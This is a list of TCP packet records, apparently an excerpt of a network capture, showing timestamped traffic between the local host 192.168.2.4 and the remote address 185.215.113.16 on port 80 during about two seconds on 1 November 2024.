Nov 1, 2024 08:51:18.071446896 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.071470976 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.071481943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.071501017 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.071527958 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.071599007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.071609020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.071619034 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.071629047 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.071633101 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.071639061 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.071651936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.071660995 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.071666956 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.071695089 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.112548113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.112617016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.112628937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.112751961 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.152935028 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.152951956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.153007030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.153060913 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.193912029 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.193943024 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.193953991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.193959951 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.193970919 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.193985939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.193993092 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.193993092 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.193998098 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.194009066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.194036961 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.194048882 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.229937077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.230014086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.230040073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.230094910 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.230094910 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.230139971 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.307024956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.307173014 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.307199001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.307213068 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.307224989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.307238102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.307250023 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.307255030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.307260990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.307279110 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.307279110 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.307290077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.307303905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.307351112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.307351112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.497922897 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.497950077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.497961998 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.498013973 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.498034000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.498065948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.498084068 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.498095989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.498106956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.498120070 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.498099089 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.498131037 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.498143911 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.498157978 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.498209000 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.498209000 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.498209000 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.498209000 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.615331888 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.615358114 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.615377903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.615391016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.615401030 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.615411997 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.615436077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.615444899 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.615462065 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.615470886 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.615480900 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.615520954 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.660015106 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.660034895 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.660046101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.660057068 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.660068989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.660078049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.660247087 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.704715014 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.704757929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.704893112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.733253956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.733268023 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.733328104 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.777448893 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.777477980 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.777508974 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.777546883 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.777677059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.777728081 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.777729988 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.777739048 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.777760029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.777784109 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.822206020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.822220087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.822238922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.822252989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.822263002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.822282076 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.822284937 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.822331905 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.822331905 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.894710064 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.894742012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.894752026 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.894828081 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.894865990 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.895437956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.895450115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.895461082 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.895499945 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.895523071 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:18.939908981 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.939924002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:18.940073967 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.089823961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089854002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089864969 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089875937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089889050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089901924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.089905977 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089916945 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089929104 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089939117 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.089940071 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089951038 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089962006 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089966059 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.089972973 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089981079 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.089983940 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089996099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.089997053 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.090010881 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.090020895 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.090045929 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.129935026 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.129950047 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.129998922 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.130024910 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.176809072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.176836967 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.176856041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.176867962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.176879883 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.176902056 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.176928043 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.207271099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.207305908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.207382917 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.207382917 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.294096947 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.294122934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.294133902 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.294157028 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.294193029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.294280052 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.294297934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.294310093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.294343948 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.294348955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.294361115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.294374943 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.294399023 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.294399023 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.404911041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.404930115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.405029058 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.411621094 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.411636114 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.411664009 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.411673069 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.411681890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.411693096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.411700964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.411710978 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.411711931 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.411736965 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.411736965 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.411771059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.411809921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.411808968 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.411844015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.411858082 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.411879063 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.529266119 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.529357910 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.529369116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.529369116 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.529380083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.529391050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.529402018 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.529413939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.529426098 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.529433966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.529433012 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.529470921 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.529470921 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.646960974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647038937 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.647075891 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647089958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647111893 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647119999 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.647125006 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647135973 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647145033 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.647150040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647156000 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.647162914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647177935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647192001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647203922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647203922 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.647217035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647222996 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.647227049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.647248030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.647269011 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.764714003 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.764741898 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.764755011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.764844894 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.764856100 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.764868021 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.764878988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.764889956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.764900923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.764914036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.764926910 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.764926910 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.764926910 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.764926910 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.764970064 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.764970064 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.808630943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.808643103 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.808684111 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.808706999 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.882256985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882287979 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882303953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882328987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882339001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882340908 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.882349968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882359028 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882369041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882374048 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.882388115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882396936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882407904 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882416964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.882421017 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.882452011 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:19.972732067 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.972744942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:19.972819090 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.000046015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.000066996 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.000075102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.000086069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.000092030 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.000098944 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.000111103 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.000124931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.000252008 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.000300884 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.048707008 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.048723936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.048734903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.048742056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.048861980 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.117697954 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.117741108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.117753029 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.117763996 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.117774963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.117786884 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.117796898 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.117810011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.117842913 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.117897034 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.166264057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.166296959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.166310072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.166321993 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.166323900 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.166333914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.166369915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.166369915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.166385889 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.235739946 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.235763073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.235773087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.235784054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.235794067 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.235805988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.235820055 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.235841036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.235846043 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.235850096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.235878944 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.235898018 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.283987999 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.284013987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.284024000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.284035921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.284049034 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.284070969 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.284115076 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.353302956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.353328943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.353353024 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.353374004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.353384972 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.353393078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.353409052 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.353415966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.353426933 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.353437901 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:20.353460073 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:20.353487015 CET	57660	80	192.168.2.4	185.215.113.16
